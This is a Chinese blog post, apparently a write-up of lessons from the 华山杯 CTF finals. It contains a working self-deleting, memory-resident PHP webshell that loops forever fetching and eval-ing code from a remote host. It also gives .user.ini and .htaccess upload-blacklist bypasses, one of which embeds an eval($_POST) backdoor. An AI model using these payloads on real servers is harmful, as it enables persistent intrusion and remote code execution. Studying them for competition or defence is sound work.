1. 云栖社区>
  2. PHP教程>
  3. 正文

华山杯|决赛|心得收获

作者:用户 来源:互联网 时间:2017-12-01 17:02:59

心得山杯决赛

华山杯|决赛|心得收获 - 摘要: 本文讲的是华山杯|决赛|心得收获, 虽然比赛还剩下半天.. 但是晚上对两道逆向题毫无头绪,而且web大家又都删掉了主要文件的情况下。 也没有说进前三的信念了,虽然今天也是侥幸进去过,但还是很快跌出来了,那么还是来写一下实战中收获的经验吧 ==============

虽然比赛还剩下半天.. 但是晚上对两道逆向题毫无头绪,而且web大家又都删掉了主要文件的情况下。

也没有说进前三的信念了,虽然今天也是侥幸进去过,但还是很快跌出来了,那么还是来写一下实战中收获的经验吧

=============================================================================================

1.php内存驻留webshell

<?phpunlink($_SERVER['SCRIPT_FILENAME']);ignore_user_abort(true);set_time_limit(0);$remote_file = 'http://xsser.me/eval.txt';while($code = file_get_contents($remote_file)){ @eval($code); sleep(5);};?>

这个脚本运行一次后就会自删除,但是由于ignore_user_abort() 在关闭客户端浏览器后php依旧执行

set_time_limit(0)又会无视掉php限制的最大运行时间,那么接下来进入到死循环后,这个程序在php停止之前是不会停止运行的

我们就是在这个后门的get flag中丢失了大量的分数,由于自己手里的是低权限账号,无法kill php,吃了很大的亏。

=============================================================================================

2.上传漏洞的黑名单绕过-补充|以及一些额外的功能

这还是space在提醒我一些东西的时候发现的. 仔细一看还是p总的作品,膜拜一个

http://drops.wooyun.org/tips/3424

那么其实核心很容易理解,就是上传文件的部分如果只是简单的黑名单限制后缀名,那么直接通过上传.user.ini文件的方式

php会自动加载这些ini里的配置信息

auto_prepend_file=01.gif

比如,自动在所有当前目录的php中附加代码。

不过其实有点鸡肋,毕竟需要上传的目录中有php脚本,现在很多站都是分开的。

这个也可以用来绕open_basedir 也是差不多的原理

同理

.htaccess,这个比较老了,也可以用来上传

.htaccess: php_value auto_append_file D:/wamp/www/1.txt *.php

当然 跟直接的方法是直接把代码写在自己里面

php_value auto_append_file .htaccess #<?php eval($_POST[1]); *.php

简单的做个总结就是,一切可以通过用户配置的环境变量,都可以被利用如下图所示

华山杯|决赛|心得收获

=============================================================================================

一些小经验:

对于web题目还是要会脑补,要相信自己能拿到flag.就像这次沙盒的注入题目,其实就是简单的替换关键字为空

但是由于没有仔细测试,缺乏经验导致没有做出来。

以上是云栖社区小编为您精心准备的的内容,在云栖社区的博客、问答、公众号、人物、课程等栏目也有的相关内容,欢迎继续使用右上角搜索按钮进行搜索心得 , 山杯 决赛 ,以便于您获取更多的相关知识。